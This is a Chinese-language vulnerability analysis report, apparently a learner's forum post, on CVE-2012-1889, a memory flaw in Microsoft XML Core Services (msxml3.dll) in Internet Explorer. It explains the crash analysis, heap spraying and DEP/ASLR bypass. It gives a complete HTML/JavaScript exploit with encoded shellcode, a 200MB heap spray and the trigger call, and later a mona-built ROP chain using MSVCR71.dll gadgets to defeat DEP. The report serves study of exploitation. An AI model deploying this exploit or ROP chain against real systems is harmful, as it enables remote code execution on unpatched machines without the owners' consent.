//------------------------------------------------------------
//
// 个人学习二进制漏洞挖掘时写的漏洞报告总结,算作是项目总结
// 研究的类型包括:缓冲区溢出、UAF漏洞、类型混淆
// 包括内容如下:
// 基本的漏洞成因
// 调试工具的使用
// shellcode(弹框、bindshell)的编写以及改进
// SEH常识
// exploit的编写
// 堆喷射
// ASLR/DEP的基本常识
// ROP链的构造等
//
// 本来是发到MottoIn上的一些投稿,因为错过了时间,所以发到看雪上接收批评
// 最近在研究渗透以及安卓,驱动也没研究完。。。个人时间比较紧,有空再整理成单独的教程
//------------------------------------------------------------
依旧是缓冲区漏洞,用来研究堆溢出以及DEP/ASLR以及ROP链的编写
这次的内容包括:
这次rop链的编写水了,用了mona自带的功能,抽空补上
以下正文:
---
Microsoft XML Core Services缓冲区溢出漏洞
(CVE-2012-1889)
漏洞分析报告
软件名称:Microsoft Internet Explorer 6.0/8.0 组件版本:XML 3.0/4.0/5.0/6.0 漏洞模块:msxml3.dll 模块版本:--- 编译日期:2008-04-14 | 操作系统:Windows XP/2003/7/8 漏洞编号:CVE-2012-1889 危害等级:高危 漏洞类型:缓冲区溢出 威胁类型:远程 |
分析人:Red_0range
2016年12月25日
目录
1. 软件简介... 2
2. 漏洞成因... 2
3. 漏洞分析... 错误!未定义书签。
4. POC.. 5
5. 漏洞成因分析... 14
6. 参考资料... 15
Microsoft XML Core Services (MSXML)是一组服务,可用JScript、VBScript、Microsoft开发工具编写的应用构建基于XML的Windows-native应用。
Microsoft XML Core Services 3.0、4.0、5.0和6.0版本中存在漏洞,该漏洞源于访问未初始化内存位置。远程攻击者可利用该漏洞借助特制的web站点,执行任意代码或导致拒绝服务(内存破坏)。
3. 漏洞分析
3.0. 概览
试运行网上流行的PoC,用WindbgF6附加调试,程序运行至崩溃
·初步分析
发现eax内容为无意义的0x0c0c0c0c,中断处语句为mov ecx,dword ptr[eax],ecx通常用于thiscall调用协议
推测此处将攻击数据错误的当作了类对象
漏洞分析与利用的关键语句
断点在mov ecx,dword ptr[eax]时触发,所以对于漏洞的利用,考虑覆盖语句执行时eax所指向的内容,(eax指向0x0c0c0c0c),通过下面的call dword ptr [ecx+18h]这条指令,使eip的地址转移到堆上。此处适用于winxp系统以及未开启dep和aslr的IE6浏览器。对于win7漏洞的利用会在下文中提及。
·分析调用关系
可以看到eax的值通过InvokeHelper函数传递得到
再进行栈回溯观察大致结构
IDA加载dll文件找到关键函数
根据PoC分析栈上数据调用
PoC用作方法调用definition函数,而MSDN中definition作为属性使用
作为属性的成员当作了方法使用因此触发了漏洞
软件漏洞利用示例
3.1.2. 堆喷射
Heap Spray是在shellcode的前面加上大量的slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致shellcode的执行。
当申请大量的内存到时候,堆很有可能覆盖到的地址是0x0A0A0A0A(160M),0x0C0C0C0C(192M),0x0D0D0D0D(208M)等等几个地址,可以参考下面的简图说明。一般的网马里面进行堆喷时,申请的内存大小一般都是200M,主要是为了保证能覆盖到0x0C0C0C0C地址。
使用堆喷射的时候,一般会将EIP指向堆区的0x0C0C0C0C位置,然后利用JavaScript申请大量堆内存,并用包含着0×90和ShellCode的“内存片”覆盖这些内存。
通常,JavaScript会从内存的低地址向高地址分配内存,因此申请的内存超过200MB(200MB = 200*1024*1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C将被含有ShellCode的内存片覆盖。只要内存片中的0×0C能够命中0x0C0C0C0C的位置,ShellCode就能最终得到执行。
4. Win xp+IE6下的POC编写
4.1. 验证操作系统/IE版本是否存在漏洞
使用网上的POC检查IE是否会崩溃
4.2. 自定义PoC编写
<html>
<head>
<title>CVE 2012-1889 PoC Red_Magic_ver.7</title>
</head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
<script>
// 1. 准备好Shellcode(unescape()是解码函数)
var cShellcode = unescape( "\uEC81\u0200\u0000\u5BEB\u6148\u6B63\u6465\u6220\u2079\u6552\u5F64\u614D\u6967\u0063\u6157\u6E72\u6E69\u0067\u7845\u7469\u7250\u636F\u7365\u0073\u654D\u7373\u6761\u4265\u786F\u0041\u7375\u7265\u3233\u642E\u6C6C\u4C00\u616F\u4C64\u6269\u6172\u7972\u0041\u6547\u5074\u6F72\u4163\u6464\u6572\u7373\uE800\u0000\u0000\u645A\u1D8B\u0030\u0000\u4B8B\u8B0C\u1C49\u098B\u698B\u8B08\u3C45\u4C8B\u7805\uCD03\u598B\u8B20\u1441\uDD03\u8B48\u8334\uF503\u7A8B\u39EC\u753E\u8BF3\uF07A\u7E39\u7504\u8BEB\uF47A\u7E39\u7508\u8BE3\uF77A\u7E39\u750B\u8BDB\u2459\uDD03\u8B66\u4304\u598B\u031C\u8BDD\u833C\uFD03\uF78B\u428D\u52DF\u5550\uD6FF\uD88B\u8D5A\uD442\u5052\uD3FF\uF88B\u8D5A\uC842\u5052\uFF57\u5AD6\uD88B\u428D\u52BC\u5550\uD6FF\u605A\u4A8D\u8DB4\uA072\u006A\u5651\u006A\uD3FF\u6A61\uFF00\u00D0");
// 2. 制作一块数据
// 2.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)
var nSlideSize = 1024*1024 / 2; // 一个划板指令区的大小(1MB)
var nMlcHadSize = 32 / 2; // 堆头部大小
var nStrLenSize = 4 / 2; // 堆长度信息大小
var nTerminatorSize = 2 / 2; // 堆结尾符号大小
var nScSize = cShellcode.length; // Shellcode大小
var nFillSize = nSlideSize-nMlcHadSize-nStrLenSize-nScSize-nTerminatorSize;
// 2.2 填充滑板指令,制作好一块填充数据
var cFillData = unescape("\u0C0C\u0C0C"); // 划板指令 0C0C OR AL,0C
var cSlideData = new Array(); // 申请一个数组对象用于保存划板数据
while (cFillData.length <= nSlideSize)
cFillData += cFillData;
cFillData = cFillData.substring(0, nFillSize);
// 3. 填充200MB的内存区域(申请200块1MB大小的划板数据区),试图覆盖0x0C0C0C0C
// 区域,每块划板数据均由 划板数据+Shellcode 组成,这样只要任意一块划板数据
// 正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到划板数据区后面的Shellcode处,进而执行Shellcode。
for (var i = 0; i < 200; i++)
cSlideData[i] = cFillData + cShellcode;
// 4. 触发CVE 2012-1889漏洞
// 4.1 获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
var obj15PB = document.getElementById('15PB').object;
// 4.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据
var srcImgPath = unescape("\u0C0C\u0C0C");
while (srcImgPath.length < 0x1000)
srcImgPath += srcImgPath;
srcImgPath = "\\\\15PB_Com" + srcImgPath;
srcImgPath = srcImgPath.substr(0, 0x1000-10);
// 4.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名
var emtPic = document.createElement("img");
emtPic.src = srcImgPath;
emtPic.nameProp;
// 4.4 定义对象obj15PB(触发溢出)
obj15PB.definition(0);
</script>
</body>
</html>
5. Win7+IE7下的POC编写
5.1. 相关知识介绍
DEP
DEP 保护是缓冲区溢出攻击出现后,出现的一种防护机制, 它的核心思想就是将内存分块后,设置不同的保护标志, 令表示代码的区块拥有执行权限,而保存数据的区块仅有 读写权限,进而控制数据区域内的shellcode无法执行。
DEP的实现分为两种,一种为软件实现,是由各个操作系统 编译过程中引入的,在微软中叫SafeSEH。
另一种为硬件实现,由英特尔这种CPU硬件生产厂商固化到硬件中的,也称作NX保护机制。
ASLR
即加载基址随机化,通过模块加载基址随机化实现使攻击者无法准确定位函数。一般实现方法是将高位地址随机化,低位地址保持不变。
5.2. 漏洞利用相关
绕过DEP-ROP
ROP,连续调用程序代码本身的内存地址,以逐步地创建一连串欲执行的指令序列,其中我们可以调用ZwSetInfomationProcess,VirtualProtect,VitualAlloc一类的函数来实现关闭DEP的目的
本次使用VirtualProtect修改内存区域为可写实现关闭DEP
在IE使用的模块中找到这些ret指令为结尾的指令序列,我们称之为gadgets
精准堆喷射
为了绕过DEP,我们需要前面ROP技术,另外,必须保证跳转到堆上的时候正好位于ROP链的第一条指令。采用如下的技术,我们可以保证0x0C0C0C0C处即为ROP链的第一个字节。使用Windbg调试打开PoC页面的IE进程,当完成堆的喷射之后,使用windbg查看0x0C0C0C0C所在的堆块的属性
其中第一个表达式求出0x0C0C0C0C到UserPtr的距离,因为JavaScript中字符串是Unicode形式的,所以在第二个表达式中进行了除以2的操作,又因为堆块的对齐粒度是0×1000,所以将结果对0×1000进行取余。注意每一次查看0x0C0C0C0C所在堆块的UserPtr会不尽相同,但是在特定的环境下计算出来的最终结果基本是一致的,如本实验在win7 sp1的IE8下为0x5F6(某些IE8环境下得出的结果可能是0x5F4),于是堆中每一块0×1000大小的数据看起来如图所示:
绕过ASLR保护
基本思路是在未开启ASLR的模块中找到我们需要的gadgets,进而构造rop链
使用OD或者其他调试软件附加IE进程发现IE原生模块全部都开启了ASLR保护,这时候我们需要额外安装JAVA6,提供未开启ASLR保护的模块
安装后发现有个别模块未开启保护,这里我们使用使用MSVCR71.dll模块
ROP链的构造
使用指令
!mona rop -m msvcr71.dll
构成ROP链的主体部分,mona自动生成的rop链存在VirtualProtect问题不正确的问题,因为# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]这条指令额外使al+0xEF,所以VirtualProtect的地址需要减去这个数值
使栈中的地址转移到堆上,我们使用一个叫stackpivot的东西,,这里选择如下的指令:
00401000 94 XCHG EAX,ESP
00401001 C3 RETN
在mona中用以下指令搜索
!mona find -s “\x94\xC3” -m msvcr71.dll
Rop链构造完成,我们将在栈上填充大量的0x0c0c0c08(不再是0x0c0c0c0c),这样执行mov eax, dword ptr [ebp-14h]之后,eax被0x0c0c0c08填充;堆上面仍然用大量0C作为填充物,于是执行mov ecx, dword ptr [eax]时,ecx被设置为0x0c0c0c0c;注意0x0c0c0c0c + 0×18 = 0x0c0c0c24,我们将在这个位置放置一个retn指令的地址,这样在执行call dword ptr [ecx+18h]的时候,会跳转去执行retn,同时又会返回来执行call的下一条指令;而[esi]寄存器的值也是0x0c0c0c0c,那么最终eax会被设置为0x0c0c0c0c,同时call dword ptr [eax+8]会跳转到0x0C0C0C14处执行代码,我们将在这个位置放置stackpivot的地址,最终的rop链构造完成
var rop_chain =
"\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
"\u7cff\u7c35" + // 0x7c357cff : ,# POP EBP # RETN [MSVCR71.dll]
"\u8b05\u7c34" + // 0x7c348b05 # xchg eax, esp # retn [MSVCR71.dll]
"\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
"\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
"\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
"\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
// The real rop chain
"\u3f00\u7c35" + // 0x7c353f00 : ,# POP EBP # RETN [MSVCR71.dll]
"\u3f00\u7c35" + // 0x7c353f00 : ,# skip 4 bytes [MSVCR71.dll]
"\u60e4\u7c36" + // 0x7c3660e4 : ,# POP EBX # RETN [MSVCR71.dll]
"\u0201\u0000" + // 0x00000201 : ,# 0x00000201-> ebx
"\u4efe\u7c34" + // 0x7c344efe : ,# POP EDX # RETN [MSVCR71.dll]
"\u0040\u0000" + // 0x00000040 : ,# 0x00000040-> edx
"\u2628\u7c34" + // 0x7c342628 : ,# POP ECX # RETN [MSVCR71.dll]
"\udb70\u7c38" + // 0x7c38db70 : ,# &Writable location [MSVCR71.dll]
"\u272f\u7c34" + // 0x7c34272f : ,# POP EDI # RETN [MSVCR71.dll]
"\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
"\uc611\u7c34" + // 0x7c34c611 : ,# POP ESI # RETN [MSVCR71.dll]
"\u15a2\u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll]
"\u62fb\u7c37" + // 0x7c3762fb : ,# POP EAX # RETN [MSVCR71.dll]
"\ua151\u7c37" + // 0x7c37a140 : ,# ptr to &VirtualProtect() [IAT MSVCR71.dll]
// 实际上VirtuanProtect()的地址是0x7c37a140,因为下面一条指令ADD AL,OEF
// 会改变这个值,所以在填充内存的时候先将这个地址减去OEF,最终结果是0x7c37a151
"\u8c81\u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
"\u5c30\u7c34" ; // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]
最终PoC参考附件
6. 参考资料
《高端调试》张银奎 著
《0day安全:软件漏洞分析技术(第2版)》 王清 著
[培训]《安卓高级研修班(网课)》月薪三万计划,掌
握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法